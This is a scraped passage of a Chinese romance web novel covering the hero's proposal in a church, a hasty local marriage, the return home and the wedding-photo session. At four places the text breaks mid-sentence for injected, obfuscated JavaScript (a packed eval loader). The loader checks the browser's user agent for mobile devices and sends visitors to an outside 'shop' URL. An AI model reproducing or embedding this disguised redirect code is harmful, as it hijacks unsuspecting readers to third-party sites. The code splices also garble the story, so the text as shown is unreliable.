d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594013|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一饮而尽剩下空酒杯，继续往前。 自始至终，他的手都没有松开。 阳光正好，孟婧用另一只手搭在额头上，避开刚刚那几个女同学惊讶的目光，随他越走越远。 教堂内的仪式虽然已经结束，但还未对外开放。修女和神父大部分已经离开，只有几人在后台准备一会儿在草坪上的仪式。 肃穆圣洁的大厅内，阳光穿透五彩玻璃洒在梁珞唯的双肩，上面的颜色随着行进的脚步变幻着，有种奇幻朦胧的神秘感。 梁珞唯在第一排座椅落座，为孟婧留出位置，两人肩并着肩，面向半吊在空中的巨大十字架。 一路咬着牙，脸都僵了，孟婧低头用力抿了几下唇，暗自放松两颊的肌肉。 余光中的梁珞唯坐姿笔直，面色严肃：“刚才叫你阿婧，是为了气那个姓林的，如果介意，以后我还是叫名字。” “嗯？”孟婧愣了一下，才发现他在解释刚刚的事。 在孟婧看来，“阿婧”实在算不上什么亲密的称呼，小时候家乡人说话习惯在名前加个“阿”字，长大后也有人这么叫，她权当顺口。 “随便。”孟婧声音很小，“他叫林屿，不叫姓林的，没事别乱吃醋。” “没吃醋。”梁珞唯解开西装外套上的纽扣，“看得出来，他不喜欢你。” 心里泛起不知名的情绪，孟婧嘴角终于扬起一些，转头看梁珞唯：“那你还气他。” 梁珞唯皱眉：“不提他行不行。” “明明是你先提的…”孟婧回头看了眼教堂门口的方向，“外面仪式快开始了。” “正式仪式已经结束，一会儿只剩扔捧花的环节。”梁珞唯在手机上按下发送键，“我给你发了消息。” 口袋中有震动，孟婧掏出来解锁。 William：【就诊记录.pdf】 William：【保密协议.pdf】 梁珞唯深吸一口气：“点开吧。” 孟婧在他说话之前就有了动作：“这是…” 这是两份英文扫描件，其中一份里面详细记录了梁洛维从大学至今的所有诊疗和服药情况，另一份则是催眠之前和诊所签订的保密协议。 因为太长太多，孟婧只是粗略翻过，直到翻至五年前的某个时间。 梁珞唯仰头看着教堂华丽恢弘的穹顶，嗓音中没什么情绪：“五年前，我曾经生过一场重病，忘记了一些事情。” 孟婧点点头：“我知道。” 像被百年前画师的笔触吸引，梁珞唯站起身，依旧仰着头：“虽然才了解真相不久，但觉得有必要让你也知晓。” 孟婧以为他是怕她介意病情，心中一暖：“谢谢，不过，我不在意的。” 不知是她多心了还是什么，此刻竟觉得梁珞唯在有意避开她目光。 他好像…在紧张？ “不是因为我们要结婚了才说这些。”梁珞唯轻笑一声，“那年，我让主治医生通过催眠的方式抹除了一些东西，是关于一个女人的记忆。” 孟婧讶异地张了张嘴：“女人？” “那个女人…”梁珞唯下定决心般低下头，等了几秒，似是在给孟婧时间。 蓝黑色的双眸中，有火苗逐渐燃成烈焰，男人不再犹豫，从口袋中掏出一个精致的丝绒盒子，俯身单膝下跪，平视孟婧。 “是你。” 57. 第五十七夜 孟婧勾起的嘴角渐渐凝固，企图从梁珞唯的眼神中获取一丝戏谑与调侃。 然而统统没有。 不论是还没看完的病例文件、郑重其事的坦白，还是在十字架前单膝下跪的动作，都让她失措。 眼前这个男人将过往的伤口细细剥开，其中最深的几道竟与她有关。无力感像盆冷水一样从头顶浇下来，让她蜷起指尖。 梁珞唯仿佛料到了她的反应：“刚才林屿提到的那些，确实不在我现有的记忆里，主治医生已经在研究恢复记忆的治疗方案，很快就会着手施行。” “我不在乎你又爱上过什么人，忘了以前也没关系，既然要嫁给我，那么婚姻应该赋予你的，我都会做到。” 孟婧眼眶微微湿着：“你…你先起来…” 梁珞唯姿势没变。 丝绒盒子被打开，一对素雅的白金戒指安静摆在其中。 梁珞唯拿出其中女士的那枚，喉间发紧：“尺寸和款式都可以再换，人就不换了，行吗？” 明明只是补的仪式，孟婧却切身体会到了血液上头的感觉，不知用了多大力气，才将手指绷直伸到他面前：“你真是…我都答应过了。” “怕你反悔。”梁珞唯小心翼翼地为她戴上，幸运的是，尺寸刚好。 他也会怕么。 孟婧左手抚摸着戒指表面，轻声问：“什么时候买的？” “昨天。” 昨天从教堂找Anna拿走Mike的车钥匙后，梁珞唯去市中心逛了很久。孟婧平日的穿衣打扮偏素雅，他便选了素圈中最贵的。 “”梁珞唯取出另一枚：“帮我戴？” “…你自己不会戴吗？” “阿婧！你在哪里？” 孟婧刚把戒指拿到手里，Toby不知道从哪里窜出来，跑到两人身边。 梁珞唯看了一眼孩子，顺手将孟婧眼角的湿润抹去，快速说：“我已经按照规定向教堂预约了结婚登记，如果你同意，下午就可以办理手续。” 孟婧这才意识到，他刚才和外人说的“Toby有父亲”是什么意思。 因为出生在当地，Toby不是中国籍，如果她和梁珞唯在这里结婚，那么孩子就有了法律意义上的爸爸。 “谢谢，你比我想的周到。” 孟婧又笑着摸摸Toby的头：“快谢谢梁叔叔。” 虽然不知道阿婧和梁叔叔在这里做什么，Toby还是很听话地大声说：“谢谢梁叔叔！” 说完，他发现了母亲手上的异样：“阿婧，这是戒指。” 虽然长得不太一样，但他确定这是戒指。刚才在教堂的仪式上，Emma手里拿的就是这个东西。 疑惑的大眼睛呼扇呼扇地：“阿婧要结婚了吗？” 承认之前，孟婧有了一丝犹豫：“宝贝，阿婧可以和梁叔叔结婚吗？” 似乎思考过，也回答过这个问题，Toby疑惑地看着梁珞唯：“梁叔叔是Daddy吗？” 梁珞唯掐了一下他肉嘟嘟的小脸：“你说是，我就是。” “好！Toby喜欢梁叔叔！”小男孩开心地蹦起来，用力去抓孟婧的手，“戴戒指。” 刚才，婷婷阿姨也给那个外国人戴了。 孟婧眼中充满柔情：“我们一起给梁叔叔戴好不好？” “嗯！”小孩子哪里懂戴戒指，肉肉的爪子抓住梁珞唯的手腕便作罢。 孟婧低头忍着笑，将戒指慢慢套进梁珞唯的无名指。 “YesIdo！”Toby想到刚才的婚礼仪式，跺着脚着急地说，“还要kisskiss！” 孟婧戴戒指的手还没收回便被捏住，指尖酥麻麻的触感。 “小孩子都懂，你不懂？”梁珞唯眼中的紧张早已消失无踪，但灼热依旧，“可以吗？” “梁珞唯，你几岁？”叫个阿婧都要斟酌再三，现在却要做什么，吻她？ 梁珞唯看她涨红的脸，目的达到：“随便问问而已。” 孟婧发现了，对这个男人，就不能给一点好脸色，他太能顺杆爬，最后吃亏的只有自己。 还没研究过如何应对逐渐懂事的人类幼崽，不过武力镇压一小只显然比解决这位大只的要简单很多。 孟婧捂住Toby的嘴：“不可以。” 呜噜呜噜的童声从掌心传出：“为什么？” “因为阿婧会害羞。”梁珞唯一把捞起Toby，将他扛到肩上，“走，带你抢捧花。” 孟婧惊呼着起身跟在后面：“你轻点，别摔了！” 草坪上的仪式已经进行到最激动人心的环节，新娘背对宾客，手里拿着捧花倒计时，几个爱笑爱闹的朋友放下手中酒杯，集体扎堆在某个区域，嘴里大叫着给我给我。 梁珞唯扛着Toby从人群后慢慢走近，被嬉笑的陌生人起哄。 “呦，这有个举高高作弊的！” “怎么还带着孩子来抢，给不给我们单身狗一条活路啦。” “这是孩子的叔叔吧，帅哥！单身吗？” 孟婧站在人群之后，看着风头快要压过新郎的帅气男人，心中划过一个可笑的念头，如果… 算了，哪有那么多如果。就算真想起来，这些年，她和他也确确实实是分开了。 “三！二！一！” 随着新娘双手用力甩到头顶，一束粉白相间的捧花高高飞起，流星般从空中划过。 Toby骑在梁珞唯肩膀上，占领了全场最高点，但因为手短脚短，即使用力张开双臂，也只抓掉其中一朵白玫瑰。 受力不均，余下的花束跌跌撞撞，落入梁珞唯身后的一位伴娘手中。 “哦！” “恭喜Bella！” “上台上台！” Toby慢慢松开手心，将玫瑰晃晃悠悠插在梁珞唯发间：“看！Toby抢到了！” 他扭着小屁股，催梁珞唯离开：“快！送给阿婧！” 梁珞唯怕花掉了，也不敢抬头：“心眼儿还挺多。” “那个，这位先生。” 感觉到身后被戳了一下，梁珞唯转身，看到那位抢到捧花的伴娘正羞涩地看着自己。 没等对方开口，梁珞唯扶着肩上Toby的小腿抢先道：“抱歉，我家孩子贪玩儿，把捧花揪掉一枝。” 哪里是贪玩，分明是他扛着去抢的。 伴娘笑容僵在脸上：“你看着这么年轻，儿子都这么大啦…” 梁珞唯表情自然，语气却偏冷：“怎么，我们不像？” 伴娘紧张到又摆手又点头：“啊不是…像的，都很帅。” 梁珞唯象征性地嗯了一声，带着Toby离开喧闹的人群。 耳朵被一只小手揪了一下，梁珞唯捏捏肩上的小腿问：“怎么了？” Toby小声说：“梁叔叔，你怎么说出来了。” “说什么？” Toby声音不似往常阳光：“说我是你儿子。” 梁珞唯挑眉：“不能说？” Toby认真分享秘密：“只有两个人的时候，我才叫妈妈。” 梁珞唯脚步放慢：“她不喜欢？” “阿婧没有说过。”Toby摇摇头，“可是有一次她偷偷哭，被我发现了。” 奶声奶气说着懂事的话，让梁珞唯心里有种被抽紧的感觉。 仔细回想，相逢这么多天，这孩子在外人面前确实没叫过妈妈。 孟婧本来年纪就不大，再加上长相清秀，看起来就像二十岁左右的大学生，这样一个女人带着几岁的孩子，可想而知会遭遇他人何种眼光。 现在是在国外，无人知晓底细，最多是说几句嘴，但回国后就不同了，孟家、梁家，还有京市的各大家族都会知晓。 孩子要上学，要社交，也总有一天会长大，不是能瞒得住的。 “在想什么呢。”孟婧趁他愣神的时候走到近前，把Toby抱下来，“还在回味那位伴娘的搭讪？” “伴娘是哪位？”梁珞唯伸出明晃晃的戒指，“我确定，没有看过别人。” “油嘴滑舌。”孟婧白了他一眼。 仪式很快结束，孟婧和新人夫妇告别，托Anna照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604099|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Toby，一切妥当后，出发去办理当地的结婚登记手续。 梁珞唯喝了酒，于是由孟婧开车。城市不大，她闭着眼都记得路线，遇上堵车，便见缝插针地介绍起五年间生活过的痕迹。 读研时常去的书店，Toby出生的诊所，上班后每天必打卡的咖啡馆…不说时没觉得，细数起来，她在这里经历了太多太多。 这些都是梁珞唯不知道的，孟婧可以介绍的过去。她希望梁珞唯能多了解一些关于自己的事情，以稍稍填补这五年的空白。 梁珞唯坐在副驾驶位上安静听着，孟婧报喜不报忧，只说美好的回忆，通篇不谈经历的苦。 他忍不住打断：“刚才Toby说，他从不在外人面前叫你妈妈，是因为见你偷偷哭过。” “哦，这件事啊…”孟婧看了眼后视镜，“本来也打算今天告诉你的。” “Toby出生，我从产房被推出来以后，失去了一段记忆。” “你说什么…” 梁珞唯转身看她。 … 前一天申请的结婚登记预约已经通过，后续手续不算复杂，只是这边政府的办事效率实在太低，拿到签字盖戳的结婚证明时，已经接近傍晚。 在下午漫长的等待时间里，孟婧说明了自己失忆的病情，还谈了这几年的学业和工作，甚至上午在草坪上闹过不愉快的陈珏，也没有漏掉。 梁珞唯认真听着，不追问，不评论，眸中暗藏的波澜却越来越深。 孟婧专注倾诉，没有注意到他情绪的变化。压在心中多年的秘密有了新的倾听者，而且这位倾听者似乎还成了自己的“病友”，这让她整个人有种超脱的放松。 回家路上，梁珞唯被一个电话叫走，在街边下车。 车内恢复一个人的安静，孟婧开始思考这个男人刚才的反应。 虽然嘴上说着不介意，但他的表情大部分时候是严肃的，让人猜不透内心的真是想法。 路灯一盏盏飞驰而过，无名指的戒指上随之闪过不同颜色的光芒，孟婧从后视镜里看到自己放在后排的包，那里面，有一张属于她的结婚证。 没人会觉得联姻双方领证后还要庆祝，孟婧自知这个道理，却还是在回家后反复思考这个问题。 不是她故意去想，而是今天一天的经历给她的震撼实在太大。预想中的联姻没有求婚，也不会完全坦诚相待，因为这些行为对于两个不相爱的人来说，实在太过暧昧，也越界了。 他说要尽快开始治疗…什么时候才能恢复记忆呢？ 她又何尝不对彼此的过往好奇。 哄睡Toby，孟婧洗完澡下楼，用毛巾擦着头发：“周阿姨，他回来了吗？” 周阿姨从厨房出来：“回来了回来了，那孩子不知道去哪儿了，一身的酒气，手还受伤了，我这正准备给他煮点醒酒汤。” “受伤？”孟婧皱起眉，“严重吗？” “看不清，手指头上好多血，倒是没流下来。” “怎么搞的…”孟婧把毛巾扔在沙发靠背上，拿出电视柜下面的药箱，“我去看看。” 轻敲几下，门自己开了，屋内所有灯都亮着，没有看到梁珞唯的身影。 也不在洗手间。 “梁珞唯，你受伤了？我拿了药箱来。” 走进房间，才发现男人背对着她，侧卧在在床的中央一动不动。他身上的外套没脱，弓着身子蜷缩在那里，看着像不太舒服。 孟婧跪到床边，上前拍了拍他的肩膀：“给我看看你的手。” 梁珞唯这才转身。 孟婧怕他碰到伤口，够着身子去抓他的手腕，谁知还没握住，反被人用力扯倒在床上。 成年男人的身体压上来，是毋庸置疑的力量感，孟婧挣脱不开，只觉得酒气浓重，浓到只闻到都会头晕。 孟婧只觉自己被火烤着，哪里都热：“你干什么…” 梁珞唯没有回答这个问题。 他嗓子沙哑，大脑既模糊又清醒：“既然什么都忘了，是不是可以重新开始。” “如果现在亲你，算初吻吗？” 58. 第五十八夜 孟婧刚洗完澡，长发只擦到半干，此时仰面躺着，在床单上留下一小片带着香气的湿渍。 两人鼻息很近，孟婧甚至可以看清梁珞唯浓密的睫毛。被自己的新婚丈夫眨不眨地认真注视着，说不心动是假的。 在她的判断中，梁珞唯即使喝醉了，也依旧会遵守应有的礼节，这是她不躲开的底气。 “你一下午都没怎么说话，就是在想这件事？” 梁珞唯侧过头，将脸埋在她肩旁，声音闷闷的：“不全是。” 他不再撑着床，大部分重量都落在孟婧上半身。 孟婧没穿内衣，肌肉和软糯严丝合缝的挤在一起，除了纠缠不清的暧昧，还能够清晰感受到彼此的心跳。 忍着呼吸困难，她将手指插进梁珞唯的发尾摩挲着：“怎么受伤的？” “揍了那个姓陈的一顿。”梁珞唯轻声说，“放心，他不会再出现。” 又是为了她。 孟婧托起他的脸，让他起身躺回到床上，自己也侧过身，和他面对面。 一副促膝谈心的模样。 “梁珞唯，其实你没必要做这些。” 孟婧清亮的眸中似有水汽：“如果是因为那些还没恢复的记忆，真的没有必要。万一五年前我伤害了你，等你想起来，会后悔对我这么好的。” 梁珞唯深吸一口气，又缓缓吐出，用手背挡住刺眼的光。空腹喝了几杯烈酒，他是真的有些醉了。 “不是因为那些。”他喃喃自语般说道，“我不知道，我就是很难受。” 难受错过这漫长的五年，难受为什么不能马上知道自己放弃那些记忆的原因。 “没事的，你就是…需要时间。”孟婧伸手抚平他的眉，“接受这些事情是一个漫长的过程，当年…” 算了，她也不愿再提当年：“不管怎么样，我们都要向前看。” 向前看…梁珞唯苦笑，前方只有三年。 他伸出受伤的手，指了指床旁边放电脑的桌面：“合同已经按照你的意见改过了，新增的补充协议需要再看一下，如果没什么问题，就可以签字了。” “合同我回去看，先给你处理伤口。” 孟婧从床上起身，从药箱中拿出碘酒棉签：“周姨煮了解酒汤，你要出去喝还是端到房间里？” 梁珞唯伸出手掌任人摆弄，盯着她黏在锁骨上的湿发：“出去喝，你陪我？” 孟婧手上小心翼翼，嘴上却不留情面：“Toby吃饭都不用我陪了，梁先生今年几岁？” 两人领了证，起码在眼前这个国家算是合法夫妻，叫一句“梁先生”，也早就不是初识时的客气味道。 梁珞唯忍着头晕：“不错，还知道我是你先生。” “我看这伤还不够重。”孟婧稍微用力，将碘酒挤进伤口，“长得挺凶，打人还能让自己受伤…真是服了你。” “疼。”男人手背一抖，反手握住她的手腕，将人带近一些，“梁太太这是谋杀亲夫。” “叫谁梁太太呢…”孟婧剜了他一眼，“汤在厨房，爱喝不喝。” 随即拿起桌上的合同离开房间。 梁珞唯维持着坐姿，直直盯着刚才女人躺过的地方，片刻后，伸手摩挲了几下那块头发洇出的水渍，直到手机铃声响起。 “不是辞职了吗？大晚上还看文件哦。” 周阿姨从厨房出来，手里摘着围裙：“小梁怎么还不出来，不会是睡着了吧？再不喝，解酒汤都要凉了。” 孟婧的目光还停留在某个条款上，没有回头：“不用管他，让他出来自己盛。” “你这孩子。”在孟婧肩膀上拍了几下，周阿姨绕到她旁边的沙发上坐下，小声道，“今天的事，我都听说了。” 孟婧问：“林屿还是Anna？” “哎呀，你的好朋友才不会乱嚼舌根。”周阿姨语重心长，“还不是隔壁街那几家做民宿的，这些年总见不得别人好。” 戚婷婷婚礼办得虽然简单，但也给跳蚤市场几乎所有商户都发了请柬。其中有一些是孟婧生意上的竞争对手，见到多年单身的美女老板有新八卦，自然是要传一传的。 “他们说的那个人…是小梁吗？你俩好了？” 孟婧咬了咬下唇。 关于在这边领证的事情，她还谁都没有说。 “周姨，你觉得他…怎么样？” 周阿姨一拍大腿：“我看当然是傻好儿呢，又帅又有钱，对你和孩子都好，还要啥自行车。” 孟婧笑了：“我也觉还行。” “那是……？” “下午刚领的证，在西边另一个教堂里。” 周阿姨嘴张得老大，半天才反应过来：“小婧啊，周姨多嘴问一句，你不想说可以不说啊。” 孟婧在心里叹了口气，将手中的合同放下：“您是想问我Toby亲生父亲的事？” “哎，是。”周阿姨点点头，欲言又止，“小梁对孩子好，咱们都放心，但毕竟不是亲生的…万一以后…好多事也要想在前头，别等孩子大了以后怨你。” 孟婧知道周阿姨是真的为自己着想，这些问题也的的确确存在。Toby的亲生父亲到底是谁，既是一个谜团，也是一个随时可能会爆炸的雷。 “周姨，我和Toby一样，也不知道自己的亲生父亲是谁。”孟婧自嘲一笑，“刚生完孩子那阵，我时常觉得这些事情是人生对我的诅咒。” 周阿姨不敢相信：“你…你说什么…” 孟婧做了个深呼吸：“现在我不会这么想了，这些缺失不是我们的错，也许只是上天的馈赠迟来了，你看，我现在就很幸福。” “哎，命苦的孩子。”周阿姨抓住孟婧的手，眼角的皱纹染上湿润，“现在好了，好日子在后头呢。” 两人携手走过五年时光，关系甚至亲过孟婧和沈确。 周阿姨笑着逗她：“喜欢小梁？” “啊呀周姨！”孟婧嘟囔着，“不喜欢，烦死他了。” “烦谁？”低沉的男声从两人背后响起。 梁珞唯换了一身运动服，脸颊和脖颈还有些泛红，严肃笔挺地站在沙发后面。 一本合同拿起又放下，孟婧重复着动作演示内心的慌乱：“你什么时候出来的！” “从你说不喜欢我。”梁珞唯走向厨房，随后响起碗筷叮叮咣咣的声音，“谢谢周姨。” 孟婧拿着合同踏拉进餐厅，坐到男人旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616951|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边，翻开最后几页：“梁珞唯，补充协议是不是有点太过了？” 因为之前不知道Toby的存在，所以梁珞唯提供的原始版本中并没有关于后代的约定，孟婧在修改时也避开了这部分，毕竟联姻是两个家族的事情，和孩子无关。 可刚刚看到的补充协议中，梁珞唯将自己手中梁氏集团的股份每年按照固定比例赠予Toby作为成长基金，其金额足以支撑普通家庭孩子的一生。 “不算多。”梁珞唯喝了一口汤，“再说，万一梁氏完蛋了，这些就变成空头支票。” “别吓我，我还指着你家救沈氏集团呢。”孟婧在合同尾页签上自己的名字，将文件推到他面前。 “嗯，要抓紧时间了。”梁珞唯眼底透着凝重，“刚刚接到消息，梁庭什已经基本处理完海外分部的麻烦，也许过两天，就要回国了。” “什么！？”孟婧看了眼墙上的日历，“才多少天？官方流程不会这么快啊。” 看来对方确实手眼通天，身陷旋涡却还能及时抽身，只怕还有后手。 梁珞唯冷笑：“脏水往我身上泼了不少，自然脱身得快。” “那你会有危险吗？”孟婧有些怕了，“你别在这边呆了，赶快回国。” “已经定了明天的机票，你我一起。” “我？”孟婧一愣。 “已经有人把我们在这里领证的消息传回去了，要保证合同约定能够实施，必须在舆论发酵之前去一趟民政局。” 他们手中的一纸证明在国内并不受法律保护，既然已经签了合同，自然是要配合后续一切行动。 毕竟在外人看来，孟婧已经是板上钉钉的梁夫人了。 “那我尽快去收拾行李。” 梁珞唯看着她匆忙的背影：“孟婧。” 孟婧已经按下电梯：“嗯？” “孩子…” “别担心，他可以的。”孟婧露出一个微笑，“如果真不好意思，下次见面，可以送他一个钢铁侠。” 来去匆匆，不知是天意还是什么，回国航班的机型和来时相同，不过这次孟婧坐在梁珞唯对面，没有再升起隔板。 男人戴了她喜欢的眼镜，依旧在电脑上敲敲打打，孟婧全程欣赏颜值，直到在接机口看到旺夫石般的裴燃和张沛，才意识到，其实梁珞唯早该回国了。 “老大！！！”张沛见到梁珞唯的第一眼就破了防，扑到人面前给了个熊抱，“你再不回来我都要辞职了！！” 梁珞唯拍了两下他的背，随即退开：“辞职了哪儿找我这么好的领导，你说是吧裴燃？” 裴燃双手插在风衣口袋中，不情愿地哼了两声：“梁珞唯，给我收购一家医美机构吧，黑眼圈已经严重影响我的颜值。” “辛苦了。”梁珞唯牵着孟婧的手，展示两人手上的婚戒，“医美不太懂，首饰倒是有所研究。” 裴燃白了他一眼，替孟婧去拿行李：“学妹，一路上辛苦了，一会儿请你吃顿好的。” 还没等孟婧回答，殷勤就被打断。梁珞唯：“车留下，你们先回公司。” 张沛职业病般立马递出车钥匙。 “谢谢。”梁珞唯语调轻快，“先去领个证。” 59. 第五十九夜 张沛一脸茫然地看了看裴燃：“裴总，刚才我们老大说什么？” 领证？最近公司也没得什么奖项呢，再说，明面上公司还是裴燃再管，怎么也劳烦不到梁珞唯这个休假的前副总。 “我看你还是比较适合做秘书。”裴燃叹了口气，将手中的行李箱滑到张沛面前，“狗仔肯定是没戏了。” 张沛老实握住行李箱拉杆，挠挠头：“怎么还人身攻击啊裴总，我最近可是给您没日没夜当牛做马，要不是知道了您和老大的关系，我才…” “哎呀闭嘴吧。”裴燃双手插兜，用下巴点了点梁珞唯垂下的手，“不都跟你秀了么，婚戒。” “婚戒？”张沛嘟囔着，再次看过去。 梁珞唯和孟婧在他们前面并排走着，戴着婚戒的手背在走路过程中偶尔蹭到又分开，若即若离，却又很明显的一对。 “卧槽…”张沛眼睛瞪得溜圆，手里哆嗦，脚上趔趄，差点被自己推着的行李箱绊倒。 “哎！” 孟婧回国带的东西不多，箱子不重，一下滑出去很远，嘭的一声，撞到另一位旅客的推车上。 “对不起对不起。”张沛拉回箱子。 孟婧循声回头，看到张沛正忙着和一个女人道歉。 女人穿着一身顶奢户外装备，行李推车上摞着三个大行李箱，张沛道歉时，她摘下墨镜说了声没事，同时收起正举着自拍杆。 “…思思？”孟婧不可置信，走到他们跟前才敢相认，“思思！” 谭思思正将墨镜放进包里，此时听到熟悉的声音，抬眼也是一顿：“孟婧！？” 五年来，她们身处不同国家，总是找不到合适见面的时机，所以一直只在网上联系。 谭思思研究生毕业后没有找工作，而是做起了自媒体，在国外某社交平台上，是有百万粉丝的旅行博主。 “太巧了！”孟婧笑得眯起眼睛，“上次微信上，你不是说要去北极呆半年吗？怎么来京市了。” “那个啊…时间错后了。”谭思思也笑得开心，“这边有一家传媒公司想签我，后续可能要去拍个旅行综艺。” “真好！叔叔阿姨这下不会再说你不务正业了。对了，一个人拿这么多行李可以吗？不然…” 孟婧扭头看到站在不远处的梁珞唯，才想起来自己一会儿要去做什么。 “不碍事，我租了车，司机已经在停车场等。”谭思思随着孟婧目光看到她身后的男人，“我去…帅哥啊，你朋友？” 孟婧还没想好怎么介绍，梁珞唯走过来，身高腿长，英俊：“你好，梁珞唯，孟婧的未婚夫。” “你好…”眼前这个男人给她的感觉似曾相识，但五年时间说短不短，谭思思一时间想不起来。 “结婚都不和我说一声。”她在两人戴着婚戒的手上来回打量，“有空出来好好接受审判！” 孟婧不好意思地点点头。 她的私人证件一直都保存在国外，这次随身行李里放着户口本和签好的婚前协议，直接去领证完全没有问题。 两人上了车，孟婧问：“是不是还需要回你家拿一下户口本？” “不用。”梁珞唯单手握着方向盘倒车，同时打开调频，“最新规定，只需要身份证就可以登记结婚。” “为什么会更新这种莫名其妙的规定？”孟婧打开腿上的包，皱起眉头。 流程简化不一定是好事，仪式感和庄重感全无，亏她昨天收拾行李的时候，还捧着户口本愣了很久的神。 车内音响播放着本地新闻，孟婧想到刚才张沛和裴燃的急迫表情，问道：“公司还有很多事情等着你处理吧？” “嗯。”梁珞唯看了眼导航，“下午回溪山别苑。” 毕竟现在裴燃才是公司副总，即使梁珞唯主持大局，也需要彻底藏在幕后。 “那我晚上还是回小仙那里吧，有点想大壮了。”孟婧拿出手机准备给表妹发个消息，被梁珞唯拉住。 “先别发。”梁珞唯单手环住她的小臂，看了眼后视镜，“我们可能被人盯上了。” 京市已经是全国最安全的城市了，光天化日朗朗乾坤，总不能像电视剧里演的那样发生什么极限追车，就算不被摄像头拍到，堵车也够彼此喝一壶的。 婧看向后视镜，发现旁边车道斜后方跟着一辆福特SUV。 裴燃开去接他们的车是白色保时捷，梁曼的闲置，一般人不认识。以他的谨慎性，去机场的路上也必然甩掉了梁庭什派去跟踪的人。 两人回国是临时决定，也不太可能是本地的仇家。梁珞唯就算和梁庭什闹得再僵，表面上也还是一团和气的梁家兄弟。 孟婧捏紧手中的包带：“我可以回头吗？副驾的那个人穿着黑衣服，看不清人。” 梁珞唯并线超车，进到最左侧车道：“想看就看，没什么可怕的。” 车子放慢速度，逐渐和那辆车齐平。保时捷车窗上贴了膜，只要动作幅度不是太大，都不会被发现，孟婧这才终于看清黑衣男子手里的东西。 她倒吸一口凉气，转头看向梁珞唯：“他拿的是长焦相机！” 孟婧皱眉问：“是私家侦探吗？” “应该不是。”梁珞唯瞥了一眼，“私家侦探一般不会开这么扎眼的大车，应该是网媒记者。” 孟婧揉了揉太阳穴，顺手遮住自己的脸：“你经常被拍吗？又不是明星…” “网媒记者不是狗仔，有些是为了挖出行业内幕，高管舞弊和一些别的事情，梁氏集团树大招风，任何一点小道消息都会影响股价。” 孟婧不解：“现在最大的事情不是梁庭什在国外接受调查吗?” “他们肯定也听说了梁庭什要回国的消息，如果他全身而退，那么下一个出事的必然是我。” “抓紧。”他踩下油门，车子入离弦的箭般飞驰而过，“不过不用担心，还没到最后。” 孟婧紧紧抠着安全带：“谁担心你了，我是担心我自己。幸亏Toby没跟着回来，万一他出事…” 说完又觉得不吉利，呸呸呸了好几下。 直到那辆福特消失在后视镜里，孟婧紧绷的心才稍稍归位，想起另一种可能性：“也许真的就是八卦记者。” 她回想着和梁珞唯初次见面的场景：“科技新贵张家的小女儿，你生日宴上拒绝她表白的那位，知道你要向我家提亲，肯定恨死我了。” 说完她更加好奇：“梁珞唯，她为什么那么喜欢你呀？除了长得帅，你还向她展示了哪些魅力？” “什么张家，不记得。”梁珞唯将广播关上，车内瞬间安静许多，“不必旁敲侧击。孟婧，按照现在的记忆来说，我并没有前任，唯一知道有过交集的女人也只有你。” 真诚是永远的必杀技，孟婧本想调侃一番，用以缓解即将领证的紧张，没想到反被将了一军，搞了个大红脸。 没有别的女人…那他肩膀上牙印的主人是… 怎么可能… 孟婧自知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628287|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十岁时，自己并不是个思想保守的女孩，如果真的和他做了什么，也没必要奇怪。毕竟她还和别人有了孩子，飞到国外都没有打掉… “梁太太。”梁珞唯以为她还在吃什么不知名的飞醋，“律师已经收到我们的婚前协议，想反悔的话，晚了。” 孟婧轻咳一声，剔除掉自己脑子里带颜色的废料：“没想。” “没想什么？” “没想你身…”孟婧咬住下唇，没再说。 梁珞唯轻笑一声：“不反悔就下车。” 他们到了。 没有提前预约，连拍红底照的地方都排了一会儿队。 孟婧在家做过攻略，特地嘱咐梁珞唯穿了一件白衬衫，她自己身上是一套娃娃领的白色连衣裙，温婉可爱，和梁珞唯的冷冽严肃形成鲜明对比。 很少见到长相登对又亮眼的小夫妻，摄影师本以为好看的人怎么拍都出片，却在尝试几次后皱起眉头。 “你俩是牛郎织女吗？中间儿还隔条银河呢，凑近点儿！” “新郎笑一笑嘞，大喜的日子，马上洞房花烛夜咯。” “哎呀，肢体动作太僵硬了，这样吧，新娘给新郎理一下衬衫，新郎给新娘拢拢头发，抓紧时间。” 怎么僵硬了…明明已经靠得太近。 